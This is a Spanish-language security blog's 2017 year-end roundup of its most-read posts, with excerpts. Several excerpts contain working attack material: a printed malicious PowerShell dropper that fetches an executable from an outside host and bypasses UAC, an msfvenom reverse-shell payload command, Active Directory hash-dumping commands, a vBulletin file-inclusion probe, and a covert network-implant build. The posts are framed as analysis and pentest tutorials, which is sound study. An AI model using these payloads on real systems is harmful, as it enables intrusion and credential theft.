Lo más visto del 2017 en Hackplayers

Somos de tradiciones arraigadas y queríamos terminar el año en el blog como lo hicimos en los últimos: con el top 50 de entradas más vistas según Google Analytics y un pequeño resumen de como ha ido el año en este rinconcito en Internet.

Primero daros las gracias como siempre a todos los que estáis leyendo este blog que siempre es y será humilde, abierto a la participación y colaboración de todos, con el objetivo de difundir y compartir conocimientos sobre seguridad informática y hacking. Pero 2017 además ha sido la confirmación de que ya nos hemos convertido en una Comunidad, hemos cruzado las puertas de este blogger para situar nuestras conversaciones en muchos medios y redes sociales: en el grupo de Telegram, en el servidor del Foro, en Twitter, en Facebook... dónde haga falta para transmitir y compartir nuestras inquietudes; y no sólo entre nosotros, con otras comunidades o individualmente pues en la diversidad está la riqueza y el conocimiento. Juntos sumamos más.

Y este 2018 ya sabéis que vamos a dar un pasito más y en apenas un mes estaremos en el Campus Sur de la Politécnica de Madrid en lo que será nuestra primera conferencia: la h-c0n. Esperamos no decepcionaros y que a todos los que vayáis os guste, la calidad de los ponentes los augura. Muchas gracias a todos ellos, a mis amigos del staff y a todos los que de alguna u otra forma han colaborado y participado en el blog.

A todos, ¡feliz y próspero año nuevo!

Top 50 entradas más vistas en 2017:

h-c0n Hackplayers' conference (próximo 2 y 3 de febrero)

Reconozco que hemos jugado un poco con el video de ayer aprovechando que era el día de los Santos Inocentes (nuestro April fools day), pero no, no era broma... si va a haber conferencia...

Solo unos pocos lo sabían y ahora, por fin, se va a dar a conocer oficialmente a todos... El próximo 2 y 3 de febrero en el Campus Sur de la Universidad Politécnica de Madrid tendrá lugar la primera Conferencia de Hackplayers, la cual hemos llamado h-c0n Hackplayers' conference.

Las entradas se venderán a través de la plataforma de Ticketbase en tres fases distintas dependiendo del periodo de tiempo y del número de tickets disponible:

- 100 entradas o del 29-dic al 7-ene: 9,75€
- 200 entradas o del 8-ene al 21-ene: 10,75€
- Resto de entradas o del 22-ene al 1-feb: 11,75€

El proyecto surgió hace unos pocos meses, animados por la proliferación de las CONs en muchas ciudades de España y por la, cada vez más intensa, incorporación de profesionales y entusiastas a esto que llaman ahora Ciberseguridad.

Al final me convencieron y unos pocos valientes nos embarcamos en organizarlo y, como suele pasar cuando se adolece de la inexperiencia de la primera vez, empezamos la casa por el tejado: en solo 2 días ya teníamos fecha y la agenda para 12 charlas, pero no éramos del todo conscientes de que aún nos faltaba mucho camino por recorrer...

Y es que lo que vino después ya no fue tan fácil... pero no voy a aburriros con el tedioso pero también fascinante proceso sino con el resultado que al final es lo importante...

Si bien y por razones obvias al principio queríamos un evento pequeño, gracias a la asociación universitaria Core Dumped que se animó a organizarlo con nosotros, disponemos de las espectaculares instalaciones de la ETSISI con un aforo para 500 asistentes, además de la posibilidad de disponer de aulas para la realización de talleres que también hemos incorporado al programa.

En primicia: ¡Hackplayers va a organizar una CON!

Análisis línea por línea de un script malicioso en Powershell para evadir UAC

Hoy leía un interesante artículo de Invincea, una compañía de Sophos, en el que analizaban línea por línea un script en Powershell malicioso que ejecutaba un exploit para bypassear UAC (User Access Control). En el caso concreto del ataque, la víctima abrió un documento que generó el susodicho script:
A primera vista, parece que el script está bastante elaborado o es complicado. Sin embargo, en realidad es bastante simple y sencillo, con la excepción de algunos cambios que hace en el registro. De hecho, la mayoría de los comandos que ejecuta se usan para evitar la detección.

Como resultado, el proceso se ejecuta sin interrupciones en segundo plano sin necesidad de alertar al usuario o solicitar privilegios elevados para realizar cambios y al usar un pequeño porcentaje de RAM y CPU, la víctima no notará ningún impacto en el rendimiento. Sin la ayuda de una aplicación de monitorización de procesos o herramientas para supervisar el administrador de tareas, sería casi imposible saber que esta aplicación se está ejecutando en segundo plano. Veamos paso a paso cómo lo hace:
1:  “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”  
2:  -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;  
3:  $webclient = new-object System.Net.WebClient;  
4:  $random = new-object random;  
5:  $urls = ‘http://dfgdfg.top/officsemgmts.exe’.Split(‘,’);  
6:  $name = $random.next(1, 65536);  
7:  $path = $env:temp + ‘\’ + $name + ‘.exe’;  
8:  $hkey = ‘HKCU\Software\Classes\mscfile\shell\open\command\’;  
9:  $sleep = 3000;  
10:  foreach($url in $urls){try{  
11:       $webclient.DownloadFile($url.ToString(), $path);  
12:       $wscript.RegWrite($hkey, $path);  
13:       Start-Sleep -m $sleep;  
14:       Start-Process -WindowStyle hidden -FilePath ‘eventvwr.exe’;  
15:       Start-Sleep -m $sleep;  
16:       $wscript.RegDelete($hkey);  
17:       $process = Get-Process $name -ErrorAction silentlycontinue;  
18:       if(!$process){Start-Process -WindowStyle hidden -FilePath $path;}break;}  
19:            catch{write-host $_.Exception.Message;}  

1. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

La primera línea del comando abre la aplicación PowerShell desde el directorio System32 de Windows.

2. -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;

Abre PowerShell en una ventana oculta para que no sea visible a la víctima. La variable "$wscript" se crea y se asigna a la instancia de WScript.Shell creada. WScript.Shell proporciona acceso a los métodos de shell del sistema operativo que aumentan sustancialmente las capacidades y los tipos de aplicaciones con las que PowerShell puede interactuar.

¡Feliz navidad!

from random import choice
from random import random
import base64
 
def main():
    SIZE = 21
    print(makeTree(SIZE))
    foo = "wqFEZXNkZSBIYWNrcGxheWVycyBvcyBkZXNlYW1vcyBmZWxpeiBuYXZpZGFkISBTZWQgbWFsb3MgOykg"
    print base64.b64decode(foo)
 
def makeTree(size):
    prob_gr = 0.6
    colours = [31, 33, 34, 35, 36, 37]
    decs = ['@', '&', '*', chr(169), chr(174)]
    blink_col = "\033[5;{0}m{1}\033[0m"
    leaf = "\033[32m#\033[0m"
    width = 1
    tree = "\n{}*\n".format(' ' * (size))
    for pad in range(size - 1, -1, -1):
        width += 2
        temp = ""
        for j in range(width):
            if random() < prob_gr:
                temp += leaf
            else:
                temp += blink_col.format(choice(colours), choice(decs))
        tree += "{0}{1}\n".format(' ' * pad, temp)
    return tree + "{0}{1}\n".format(' ' * (size - 1), "000") * 2
 
if __name__ == "__main__":
    main()

¿Por qué "hackean" los hackers? (infografía)

La empresa Raconteur que se dedica a hacer algunos estudios bastante interesante ha publicado un infografía sobre cuáles son las motivaciones principales de los hackers. A través de un estudio global que incluye grandes organizaciones que fueron víctimas de ciberataques -unos 2000-, se extrae que el primer motivo para los hackers sigue siendo el financiero; aunque hay cosas interesantes como la amenaza siempre presente del actor interno (el típico empleado descontento) o la presencia cada vez mayor del concepto de la ciberguerra. Aunque sea por mera curiosidad, conviene echarle un vistazo:


Fuente: http://res.cloudinary.com/yumyoshojin/image/upload/v1484993356/pdf/cyber-risk-resilience-2017.pdf

Shell inversa con Powershell y... mediante una imagen PNG!

Imagina que cualquier imagen que visualizas en una web a parte de ser una simple imagen es también la "herramienta" que utiliza un atacante para ejecutar una shell inversa desde tu ordenador. Por ejemplo esta:

http://192.168.1.36/EvilTroll.png


Aparentemente es un simple fichero PNG pero entre sus píxeles se encuentra embebido un script en Powershell con un payload de Meterpreter.

La herramienta que posibilita hacerlo fácilmente es Invoke-PSImage
 de Barrett Adams, que inserta los bytes del script en los píxeles de una imagen PNG y además genera un "oneliner" para ejecutarlo desde un archivo de desde la web (cuando se pasa el parámetro -Web).

Básicamente lo que hace la herramienta es usar los 4 bits menos significativos de 2 valores de color en cada píxel para contener el payload. Necesitaremos una imagen con al menos tantos píxeles como bytes en el script algo bastante fácil ya que, por ejemplo, Invoke-Mimikatz cabe en una imagen de 1920x1200. Eso sí, la calidad de la imagen se verá algo afectada pero aún se verá decente.

En este post vamos a coger una imagen cualquiera (la del troll de arriba) y le añadiremos un script que ejecute una shell reversa con Powershell, así que empecemos generando el archivo ps1 con el payload de meterpreter:

# msfvenom --payload windows/x64/meterpreter_reverse_http --format psh --out meterpreter.ps1 LHOST=192.168.1.36 LPORT=1234
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 206937 bytes
Final size of psh file: 966055 bytes
Saved as: meterpreter.ps1

Extrayendo los hashes de las contraseñas de los usuarios del AD mediante el NTDS.dit

Normalmente uno de los objetivos en un test de intrusión es conseguir acceso al Controlador de Dominio y volcar todos los hashes de los usuarios del AD. Hay varias herramientas que facilitan mucho este labor como smart_hashdump de Meterpreter o secretsdump.py de Impacket pero, ocasionalmente, podemos necesitar hacer copia del archivo NTDS.dit y extraer manualmente la información de forma offline, por ejemplo cuando son muchos usuarios y queremos hacer un ataque de fuerza bruta contra muchos hashes.

En esta entrada veremos todo el proceso desde la obtención del fichero ntds.dit y de la rama del registro System (registry hive), hasta la obtención de los hashes y su posterior obtención en claro.

Adquiriendo los ficheros ntds.dit y la rama del registro system

Los datos del Directorio Activo (incluyendo los hashes de las contraseñas) están almacenados en el fichero de base de datos NTDS.dit. El formato es ESE (Extensible Storage Engine) y está basado en la base de datos Jet que se usaba en Exchange 5.5 y WINS. Por defecto, encontrarás una copia de este fichero dentro del controlador de dominio en el directorio %SystemRoot%\NTDS\Ntds.dit conteniendo los valores del dominio y una réplica de los valores del bosque (el contenedor de datos del Configurador). También está %SystemRoot%\System32\Ntds.dit que es la copia de distribución del directorio predeterminado que se utiliza cuando se promociona un servidor con Windows 2000 a un controlador de dominio.

Evidentemente no podremos copiar directamente ninguno de estos ficheros porque están en uso por el servidor. Tendremos que recurrir a otras opciones como VSS (Volume Shadow Copies), WMIC, NTDSUtil, snapshots (si son VM) o, como en nuestro caso, usar el módulo Invoke-NinjaCopy de PowerSploit (https://github.com/PowerShellMafia/PowerSploit):
. .\Invoke-NinjaCopy
Invoke-NinjaCopy -path "c:\your\path\ntds\ntds.dit" -localdestination "c:\temp\ntds.dit"
Invoke-NinjaCopy -path "c:\windows\system32\config\SYSTEM" -localdestination "c:\temp\SYSTEM"

Extracción de las tablas del ntds.dis

Una vez obtenidos ambos ficheros, el siguiente paso es extraer las tablas del archivo NTDS.dit utilizando esedbexport, que es parte de libesedb.

Clonamos el repositorio:

$ git clone https://github.com/libyal/libesedb

Instalamos las dependencias:

$ sudo apt-get install autoconf automake autopoint libtool pkg-config

E instalamos (configure, make e install):

$ ./configure
$ make
$ sudo make install
$ sudo ldconfig

Si todo ha ido bien, debemos tener la herramienta de exportación disponible en /usr/local/bin/esedbexport.

Publican dos 0-days en vBulletin, uno de ellos ejecución remota de comandos (RCE)

Han descubierto y divulgado detalles de dos vulnerabilidades críticas sin parche (aka 0-days) en vBulletin. Ya sabéis que vBulletin es un popular software para foros web basado en PHP y MySQL que está presente en más de 100.000 sitios web en Internet, algunos de ellos incluidos en Fortune 500 y el Top de Alexa.

Las vulnerabilidades fueron descubiertas por un investigador de seguridad de la empresa de seguridad italiana TRUEL IT y otro independiente desconocido, que publicaron los detalles de las vulnerabilidades al programa SecuriTeam Secure Disclosure de Beyond Security.

Las vulnerabilidades afectan a la versión 5, la última versión de vBulletin y actualmente no están corregidas. Beyond Security intentó ponerse en contacto con vBulletin desde el 21 de noviembre de 2017, pero no recibieron respuesta de la compañía.

Los detalles de las vulnerabilidades son los siguientes:

Vulnerabilidad de ejecución remota de comandos en vBulletin

La primera vulnerabilidad descubierta en vBulletin es un problema de inclusión de archivos que conduce a la ejecución remota de código, lo que permite a un atacante incluir remotamente cualquier archivo del servidor vBulletin y ejecutar código PHP arbitrariamente.

Un atacante no autenticado puede desencadenar la vulnerabilidad de inclusión de archivos enviando una solicitud GET a index.php con el parámetro "routestring=" en la solicitud, lo que permite al atacante "crear una solicitud especialmente elaborada al servidor Vbulletin instalada en el sistema operativo Windows e incluir cualquier archivo en el servidor web".

El investigador también ha proporcionado código (PoC) para mostrar la explotación de la vulnerabilidad:

/index.php?routestring=.\\

Si la respuesta es:


Entonces el servidor es vulnerable.

Posibles preguntas en una entrevista para un puesto de seguridad informática / DFIR

Aquí y creo que de forma global, la ciberseguridad informática está en auge y eso se nota especialmente en el mercado laboral: afortunadamente las empresas cada vez demandan más puestos y, como consecuencia, hay un gran movimiento de personas incorporándose y cambiando en el mercado profesional.

Seguro que también os pasa a vosotros, cuándo un compañero algún día se tiene que irse antes por motivos personales enseguida saltan las "coñitas" del tipo "bueno, qué vaya bien en la entrevista" lol!

Para todos, para los que estén pensando en cambiarse o para los que se vayan a introducir en este mundillo, la prueba principal para incorporarse en una empresa sigue siendo la "entrevista". Y, aunque el formato y las preguntas suelen cambiar bastante incluso dentro de una misma empresa según la posición y el evaluador, siempre viene bien una batería de preguntas previas para prepararse.

Shankar Yadav con la ayuda de @Miss_Malware ha recopilado una lista bastante interesante dividida en categoría que seguro a más de uno hará reflexionar y/o prepararse mejor:

GENERAL
  • ¿Qué es DNS?
  • ¿Diferencias entre TCP y UDP?
  • ¿Cómo maneja HTTP el estado?
  • ¿TLS usa cifrado simétrico o asimétrico?
  • ¿Qué es "Riesgo"? ¿Qué es "Gestión de riesgos"?
  • ¿Qué parte del trío "confidentiality, integrity, and availability" de la CIA es la más importante?
  • Como Pentester, para ti ¿qué es más importante, ser un hax0r o hacer un buen trabajo?
  • ¿Cómo le explicarías a un usuario por qué no les damos administrador local en su máquina?
  • Responde verdadero o falso y explica tu respuesta: "La autenticación de dos factores protege contra el secuestro de la sesión".
  • Si fueras una amenaza, ¿cómo comprometerías a una organización en los tres dominios (físico, digital y humano)?
  • Nombra 3 protocolos de Internet que usan TCP, nombre 3 que usan UDP, Nombra 2 que no usan ninguno y en qué puerto se ejecutan.
  • Si estoy con mi portátil en la oficina y acabo de enchufar el cable de red. ¿Cuántos paquetes debe lanzar mi NIC para completar un traceroute a twitter.com?
  • ¿Cuál es la diferencia entre la codificación, el cifrado y el hash?
  • ¿Puedes describir que son las tablas rainbow?
  • Si tuvieras que cifrar y comprimir datos durante la transmisión, ¿qué harías primero y por qué?
  • En criptografía de clave pública, tienes una clave pública y privada, y a menudo realizas tanto funciones de cifrado como de firma. ¿Qué clave se usa para cada función?
  • ¿Cuáles son las ventajas que ofrecen los programas de bug bounty sobre las auditorías normales?
  • ¿Quién es más peligroso para una organización, las personas internas o las externas?
  • ¿A quién admiras en el campo de la seguridad de la información? ¿Por qué?
  • Acabas de entrar en el ascensor con el CEO y te pregunta, ¿qué tan seguros estamos? ¿Qué dices?
  • Tienes un presupuesto y recursos ilimitados. Dibuja la red corporativa más segura para la organización. Debe tener componentes específicos que incluyan pero no se limiten a: Internet, una subred de usuario, al menos un servidor de Active Directory, un servidor web (con base de datos de back-end) en Internet, un servidor de Recursos Humanos, WiFi para sus usuarios, una VPN, etc.

Construye tu propio troyano de hardware a lo Mr. Robot por menos de $15 (OpenWrt + SWORD en NEXX WRT3020F)

Packet Squirrel es un dispositivo multiherramienta Ethernet que vende Hak5 por $59.99 diseñado para proporcionar acceso remoto encubierto, capturas de paquetes y conexiones de VPN seguras con solo pulsar un botón. "Prima hermana" de la popular Wifi Pineapple también de Hak5, tal como nos decía Ernesto de Handover por correo electrónico, Packet Squirrel es un "dropbox" "digno de la serie Mr. Robot que sirve como troyano fisico, una cajita que dejar enchufada en una red local de una empresa, universidad, etc y luego tener acceso remoto, capturar passwords, etc."
Por otro lado, Tomas C. de Medium buscó una alternativa aún más barata y encontró el proyecto SWORD desarrollado por Bilal Bokhari (zer0byte), basado en OpenWRT / lede y que incluye herramientas comunes de pentest: URLSnarf, Ettercap, tcpdump, nmap, etc.

Zer0byte comenzó ese proyecto en un TP-Link MR3040, pero funciona prácticamente en cualquier cosa que tenga OpenWRT, así que Tomas busco otro dispositivo casi "desechable" de bajo coste similar a Packet Squirrel, algo más pequeño y más barato que el router TP-Link y encontró NEXX WRT3020F que se adapta perfectamente: pequeño, barato, con un gran soporte OpenWRT con doble puerto ethernet (como packetsquirrel) y por sólo $13.99 en Gearbest.


Sus características son:

- CPU RAMIPS 400MHz
- 64MB de RAM
- 8 MB de flash SPI
- Puerto USB A
- doble ethernet 100/10t
- 2.4GHz 802.11n MIMO 2T2R (300Mbit)

De fábrica viene con una versión china de u-boot que tiene una interfaz web para el flasheo directo de la partición mtd de OpenWRT. La instalación de openWRT está ampliamente documentada y es algo sencillo: https://wiki.openwrt.org/toh/nexx/wt3020#installation

Luego podemos instalar SWORD para convertir nuestro pequeño router en una herramienta de ataque de red desechable. El proyecto SWORD se puede descargar desde el siguiente mirror:

Enlace de descarga (Github)

Project Slides from Zer0byte

Requisitos (opkg install 'herramienta')

ettercap-ng, reaver, tcpdump, urlsnarf, ettercap, nmap, mk3

Instalación

- Extraer los archivos al directorio /www del router
- Asegurarse de tener bash instalado, de lo contrario los scripts no funcionarán (opkg update; opkg install bash –force-depends)‏
- Dar permisos 655 al directorio /cgi-bin (chmod -R 655 /www/cgi-bin/*
- Navegar a la URL http://IP_ROUTER/SWORD


Después de esto, tendremos una herramienta de red de ataque funcional y manejable desde una interfaz web. OpenWRT proporciona grandes repositorios de paquetes de herramientas de red, incluyendo pentesting. Por lo tanto, es muy fácil agregar sus características a SWORD. Por ejemplo, si queremos que nuestro dispositivo SWORD sea "resistente" al análisis forense, podemos usar un disco Ramfs RAM para guardar logs y credenciales, ya que los datos se perderán para siempre si alguien desconecta el dispositivo de la fuente de alimentación.

Fuente: https://medium.com/@tomac/a-15-openwrt-based-diy-pen-test-dropbox-26a98a5fa5e5

Mapa mundial de nodos de Tor

Hace 5 años, George Kargiotakis (@kargig) hizo un fork del proyecto Tormap de Moritz, lo actualizó un poco y escribió sobre él. Tormap siguió funcionando durante años hasta que se produjeron algunos cambios en Google Maps, básicamente que algunos KML no se cargaban al no permitir más de 3Mb. Hace poco, kargig retomó el proyecto y utilizó nuevas APIs de googlemaps v3 y comprimió los archivos KML (KMZ) para que funcionara. Luego @iainlearmonth y @nusenu_ le sugirieron más cambios ...

Su primera sugerencia fue usar onionoo en lugar de parsear consensus por su cuenta y ejecutar geoip en él, onionoo ya proporciona una buena salida en json. Su otra sugerencia fue cambiar tormap para usar OpenStreetMap en lugar de Google Maps, principalmente porque Google Maps bloquea algunos nodos de salida Tor y las casillas no aparecen en el mapa cuando se visita Tor. Ambos problemas están solucionados ahora.

También usó leaflet.js y un par de complementos como leaflet-plugins (para el parser KML) y leaflet-color-markers para el cambio a OpenStreetMap.

Hay otras sugerencias como crear mapas de nodos basados ​​en búsquedas personalizadas para atributos de relay. Pero de momento kargig nos ha regalado estos fabulosos mapas:




Proyecto: hhttps://github.com/kargig/tormap

Fuente: Tormap – World map of Tor nodes – 5 years later

[HTB write-up] Blocky



Sí amigos, permitirme empezar con este meme... y es que Hack The Box (HTB) es casi como una droga. Empiezas con una máquina y hasta que no la terminas no paras (o lo intentas), y cuando acabas una ya estás pensando en empezar otra...

Llego aproximadamente un mes y doy fe ello. Lo bueno es que realmente se aprende bastante, así que como hice no hace mucho con Apocalyst voy a publicar el solucionario o write-up de otra máquina recién retirada: Blocky. 

En mi opinión no es que sea muy buena, pero se trata de un Wordpress y siempre está bien tenerlo de repositorio. Así que sin más dilación, empezamos con el escaneo inicial de puertos:

# nmap -A 10.10.10.37
Starting Nmap 7.40 ( https://nmap.org ) at 2017-11-08 14:58 CET
Nmap scan report for 10.10.10.37
Host is up (0.11s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE VERSION
21/tcp   open   ftp     ProFTPD 1.3.5a
22/tcp   open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|_  256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
80/tcp   open   http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: BlockyCraft &#8211; Under Construction!
8192/tcp closed sophos
Device type: general purpose|WAP|specialized|storage-misc|broadband router|printer
Running (JUST GUESSING): Linux 3.X|4.X|2.6.X (94%), Asus embedded (90%), Crestron 2-Series (89%), HP embedded (89%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel cpe:/h:asus:rt-ac66u cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3.4
Aggressive OS guesses: Linux 3.10 - 4.2 (94%), Linux 3.13 (94%), Linux 3.13 or 4.2 (94%), Linux 4.4 (94%), Linux 3.16 (93%), Linux 3.16 - 4.6 (92%), Linux 3.12 (91%), Linux 3.2 - 4.6 (91%), Asus RT-AC66U WAP (90%), Linux 3.18 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8192/tcp)
HOP RTT       ADDRESS
1   110.83 ms 10.10.14.1
2   110.91 ms 10.10.10.37

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.82 seconds

Como podéis observar en los resultados de nmap, hay varios puertos abiertos: ssh, ftp y web. Normalmente en HTB la mayoría de las veces hay que explotar servicios web, así que empezaremos echando un vistazo a ver qué pinta tiene el Wordpress descubierto:

http://10.10.10.37/

Bypass CSRF mediante Burp

La vulnerabilidad Cross Site Request Forgery (CSRF o XSRF) o de "falsificación de petición en sitios cruzados" consiste en que un atacante aprovecha que un usuario está validado en un servicio web vulnerable para engañarle y que realice sin percatarse una acción malintencionada. El ejemplo más común es que un usuario está loggeado en la web de su banca personal y recibe un enlace que al pincharlo lleva a cabo automáticamente una transferencia bancaria. La web del banco digamos que "confía ciegamente" en las peticiones que recibe del usuario una vez que se ha validado.

Para controlar en todo momento que las peticiones que llegan son realmente debidas a la interacción del usuario verdadero, es decir, que en ningún momento ha sido impersonado, se suele utilizar un campo oculto en el formulario correspondiente (por defecto _token) que contiene un valor que sólo el servidor y el usuario conocen. Esta protección CSRF es también una "molestia" si queremos hacer un ataque de fuerza bruta o de diccionario contra un formulario de login, porque tendremos que configurar nuestro Burp para que añada y valide automáticamente los tokens CSRF. En este post veremos cómo hacerlo en un sencillos pasos...

Primero veamos nuestro ejemplo. Observamos que por cada petición se manda un token CSRF junto con el nombre de usuario y la contraseña:


Ese token precisamente es el que irá cambiando y mostrándose en el campo oculto del formulario de login.

Después de capturar la petición  y enviarla al Intruder, nos iremos a la pestaña de Posiciones y marcaremos como payloads el contenido de los parámetros __csrf_magic y passwordfid.

El tipo de ataque será 'Pitchfork' que irá cambiando ambos payloads (diferentes) al mismo tiempo:

Comandos en una sóla línea para descarga de payloads y ejecución remota de comandos en Windows

Si hay algo interesante para un pentester (o un atacante malintencionado) es un comando de una sola línea capaz de comprometer una máquina obteniendo una shell inversa...

El francés Arno (arno0x0x) recopila en su blog una interesante lista de posibilidades que han de cumplir los siguientes requisitos:

- permitir la ejecución de código arbitrario
- permitir descargar un payload de un servidor remoto, porque el malware/RAT/agente probablemente no cabrá en una sola línea de comandos
- tener conocimiento del proxy: ¿qué compañía no usa un proxy web para el tráfico saliente hoy en día?
- hacer uso de los binarios estándar y ampliamente implementados de Microsoft, para que el comando se ejecute en la mayor cantidad de sistemas posible
- ser "amigable" con EDR (Endpoint Detection and Response): el spawning de cmd.exe en Office ya es mala señal, pero ¿qué pasa con powershell.exe o cscript.exe descargando cosas de Internet?
- trabajar solo en memoria, porque el payload final podría quedar "atrapado" por el AV cuando se escriba en el disco

Pero siendo claros, no todas los comandos cumplirán todos los puntos anteriores. Especialmente el de no escribir el payload en el disco, porque la mayoría de las veces el archivo descargado terminará en el caché local.

Cuando se trata de descargar un payload desde un servidor remoto, básicamente tenemos 3 opciones:

- el comando acepta una URL HTTP como uno de sus argumentos
- el comando acepta una ruta UNC (apuntando a un servidor WebDAV)
- el comando puede ejecutar un pequeño script con un link de descarga

Dependiendo de la versión de Windows (7, 10), la caché local para los objetos descargados a través de HTTP será la caché local de IE, en una de las siguientes ubicaciones:
C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>

Por otro lado, los archivos a los que se accede a través de una ruta UNC que apunta a un servidor WebDAV se guardarán en el caché local del cliente WebDAV
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Nota: cuando se utilice una ruta UNC para apuntar al servidor WebDAV que aloja el payload hay que tener en cuenta que solo funcionará si se inicia el servicio WebClient. En caso de que no se haya iniciado, para iniciarlo, incluso desde un usuario sin privilegios, simplemente hay que poner antes "pushd \\webdavserver & popd".

Fork de mona.py con soporte para x64dbg

Ray Wang, un estudiante del MIT (Instituto de Tecnología de Massachusetts) ha hecho un fork de mona.py de Corelan con soporte para x64dbg, el debugger x64/x32 de código abierto para Windows y una libre e interesante alternativa a WinDbg.

Ya sabéis que mona es una navaja suiza para el desarrollo de exploits en Windows. Es compatible con técnicas de ROP, SEH, cyclic patterns, etc. y bueno, tiene tantas opciones que si quieres ver todos los comandos y detalles de uso lo mejor es que ejecutes mona con el comando help.
Así que poder utilizar Mona también desde x64dbg es una muy buena noticia :)

Instrucciones de instalación

x64dbg

Para instalarlo primero debemos obtener x64dbgpy para el soporte de Python de x64dbg. Podemos descargar una release aquí. Luego, debemos mover los contenidos del directorio plugins a la carpeta de plugins de x64dbg.

A continuación, tenemos que mover mona.py a la carpeta plugins/x64dbgpy. También necesitaremos los archivos pykd.py y x64dbgpylib.py de https://github.com/x64dbg/x64dbgpylib. Finalmente, tendremos que situar también el script clean_mona.py en x64dbgpy/x64dbgpy/autorun.

Ahora, podremos ejecutar los comandos mona en la línea de comandos de Python x64dbg con mona.mona(“command”).

Immunity Debugger

Más sencillo aún, simplemente ponemos mona.py en la carpeta 'PyCommands' (dentro de la carpeta de la aplicación Immunity Debugger).

WinDBG

Ver https://github.com/corelan/windbglib

Algunos comandos admitidos

modules - muestra todos los módulos cargados y sus propiedades (ASLR, Rebase, DEP, etc.)
heap - muestra información relacionada con el heap
seh - Buscar punteros para ayudar a sobrescribir exploits con SEH
jmp - Encuentra punteros que te permitirán saltar a un registro
rop - busca gadgets que se puedan usar en un exploit con ROP y hace "magia" con ellos
jop - busca gadgets que se pueden usar en un exploit con JOP
pattern_offset - Encuentra la ubicación de 4 bytes en un pattern cíclico

Proyecto Github: https://github.com/x64dbg/mona